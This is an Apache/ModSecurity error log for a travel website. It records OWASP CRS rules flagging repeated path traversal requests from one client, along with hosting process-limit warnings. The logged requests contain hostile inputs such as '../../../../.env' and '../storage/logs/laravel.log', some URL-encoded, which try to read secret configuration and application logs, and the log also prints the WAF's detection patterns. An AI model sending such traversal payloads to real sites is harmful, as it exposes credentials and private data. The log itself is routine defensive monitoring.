[Fri Jul 17 08:55:06.904529 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBAAAAAM"]
[Fri Jul 17 08:55:06.904551 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBAAAAAM"]
[Fri Jul 17 08:55:06.905714 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBAAAAAM"]
[Fri Jul 17 08:55:06.905890 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.906220 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTTBAAAAAM"]
[Fri Jul 17 08:55:06.924147 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?content=..%2F..%2F..%2F..%2F..%2F.env&debug=FTguQUbysf2FZHcI8JIkIHdJyqoybWihNigDzgoYekZ-2dpV4PANf_N3KlsAMzD5Dph04AAwxLk-wmVVZ2v4y3QLAcOHY_Wf0moKMnuvk47kmwWgU0MRxyF3EX2KAq0coovyMVvOjtTCXLzXmwMKHF3_dre5WdOqpWYWjgHPDiRzdeysCnim1RWzlMIcK4ze2U5x5_NREmGUljaBjZFezy9dQmfJE07sJaJhCa80ZF_pPlcbjjS4wOiiN1L6-7W0ENx19JyYcWVzdHwTxfGTdvYp&ref=GK3IRQGJ36XN6YW4FMJV7MRP3AMICF3CWSILPJA34XO52TL5W4WEQXATS7QJF5XGAYI2423LNZKFOSDYQKPGQUSO66AUM4QAGJR3XQMKKLG4XET62RPMUGV7PZTBL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBQAAAAM"]
[Fri Jul 17 08:55:06.924202 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBQAAAAM"]
[Fri Jul 17 08:55:06.924270 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../../../../.env&debug=FTguQUbysf2FZHcI8JIkIHdJyqoybWihNigDzgoYekZ-2dpV4PANf_N3KlsAMzD5Dph04AAwxLk-wmVVZ2v4y3QLAcOHY_Wf0moKMnuvk47kmwWgU0MRxyF3EX2KAq0coovyMVvOjtTCXLzXmwMKHF3_dre5WdOqpWYWjgHPDiRzdeysCnim1RWzlMIcK4ze2U5x5_NREmGUljaBjZFezy9dQmfJE07sJaJhCa80ZF_pPlcbjjS4wOiiN1L6-7W0ENx19JyYcWVzdHwTxfGTdvYp&ref=GK3IRQGJ36XN6YW4FMJV7MRP3AMICF3CWSILPJA34XO52TL5W4WEQXATS7QJF5XGAYI2423LNZKFOSDYQKPGQUSO66AUM4QAGJR3XQMKKLG4XET62RPMUGV7PZTBLG7Z6ASQX3VNLCG2HJY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBQAAAAM"]
[Fri Jul 17 08:55:06.924299 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../../../../.env&debug=ftguqubysf2fzhci8jikihdjyqoybwihnigdzgoyekz-2dpv4panf_n3klsamzd5dph04aawxlk-wmvvz2v4y3qlacohy_wf0mokmnuvk47kmwwgu0mrxyf3ex2kaq0coovymvvojttcxlzxmwmkhf3_dre5wdoqpwywjghpdirzdeyscnim1rwzlmick4ze2u5x5_nremguljabjzfezy9dqmfje07sjajhca80zf_pplcbjjs4woiin1l6-7w0enx19jyycwvzdhwtxfgtdvyp&ref=gk3irqgj36xn6yw4fmjv7mrp3amicf3cwsilpja34xo52tl5w4weqxats7qjf5xgayi2423lnzkfosdyqkpgquso66aum4qagjr3xqmkklg4xet62rpmugv7pztblg7z6asqx3vnlcg2hjy..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBQAAAAM"]
[Fri Jul 17 08:55:06.924318 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBQAAAAM"]
[Fri Jul 17 08:55:06.924344 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBQAAAAM"]
[Fri Jul 17 08:55:06.925529 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBQAAAAM"]
[Fri Jul 17 08:55:06.925699 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.926020 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTTBQAAAAM"]
[Fri Jul 17 08:55:06.935587 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBgAAAAM"]
[Fri Jul 17 08:55:06.935664 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBgAAAAM"]
[Fri Jul 17 08:55:06.936894 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBgAAAAM"]
[Fri Jul 17 08:55:06.937072 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.937366 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTTBgAAAAM"]
[Fri Jul 17 08:55:06.958231 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95nQAAAAw"]
[Fri Jul 17 08:55:06.958302 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95nQAAAAw"]
[Fri Jul 17 08:55:06.960101 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95nQAAAAw"]
[Fri Jul 17 08:55:06.960333 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.960747 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95nQAAAAw"]
[Fri Jul 17 08:55:06.967475 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?content=..%2F..%2Fstorage%2Flogs%2Flaravel.log&junk=7vF0pWFDhkTt9LNOeBbN1K3Ih6SrGbfAWT7dpo2lNLuhs7L1yUzM67JG43OK6o4RMFCe6HEWbgPkkFCAi23_K7bvz9XtCng-_y-zBj5OuHtueTWDQdGv0SS4BUu5-_Ri4UKUbOZk2r4VhuboDS02pL6EjWkrFA5q8HJ1XUGvBt8baZU8XPiMLn6-80WVz4RC-nQkjFjQu-VPQAmu8H-_EP8SEtVpISxnKKVUx3eEX-crmzXnNZRncSppNwOR9CRk2oyWjPDy7KxNQlIpGeUW7nUA&cb=452CFU63JP27OL4BQTOZP7DHODXPFL5H3U3BLPF2VMVGL7CWILX5QE6CTPQHYEFEH77NGUCKH3T2ZB4IJKJJEFWSRMY7HMKLWRY2WJDHN3VV7EXEBLW4JT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBwAAAAM"]
[Fri Jul 17 08:55:06.967538 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBwAAAAM"]
[Fri Jul 17 08:55:06.967599 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../storage/logs/laravel.log&junk=7vF0pWFDhkTt9LNOeBbN1K3Ih6SrGbfAWT7dpo2lNLuhs7L1yUzM67JG43OK6o4RMFCe6HEWbgPkkFCAi23_K7bvz9XtCng-_y-zBj5OuHtueTWDQdGv0SS4BUu5-_Ri4UKUbOZk2r4VhuboDS02pL6EjWkrFA5q8HJ1XUGvBt8baZU8XPiMLn6-80WVz4RC-nQkjFjQu-VPQAmu8H-_EP8SEtVpISxnKKVUx3eEX-crmzXnNZRncSppNwOR9CRk2oyWjPDy7KxNQlIpGeUW7nUA&cb=452CFU63JP27OL4BQTOZP7DHODXPFL5H3U3BLPF2VMVGL7CWILX5QE6CTPQHYEFEH77NGUCKH3T2ZB4IJKJJEFWSRMY7HMKLWRY2WJDHN3VV7EXEBLW4JTQXG63MVZZ3RRYMLH..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBwAAAAM"]
[Fri Jul 17 08:55:06.967638 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../storage/logs/laravel.log&junk=7vf0pwfdhktt9lnoebbn1k3ih6srgbfawt7dpo2lnluhs7l1yuzm67jg43ok6o4rmfce6hewbgpkkfcai23_k7bvz9xtcng-_y-zbj5ouhtuetwdqdgv0ss4buu5-_ri4ukubozk2r4vhubods02pl6ejwkrfa5q8hj1xugvbt8bazu8xpimln6-80wvz4rc-nqkjfjqu-vpqamu8h-_ep8setvpisxnkkvux3eex-crmzxnnzrncsppnwor9crk2oywjpdy7kxnqlipgeuw7nua&cb=452cfu63jp27ol4bqtozp7dhodxpfl5h3u3blpf2vmvgl7cwilx5qe6ctpqhyefeh77nguckh3t2zb4ijkjjefwsrmy7hmklwry2wjdhn3vv7exeblw4jtqxg63mvzz3rrymlh..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBwAAAAM"]
[Fri Jul 17 08:55:06.967680 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBwAAAAM"]
[Fri Jul 17 08:55:06.967699 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBwAAAAM"]
[Fri Jul 17 08:55:06.968944 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTBwAAAAM"]
[Fri Jul 17 08:55:06.969117 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
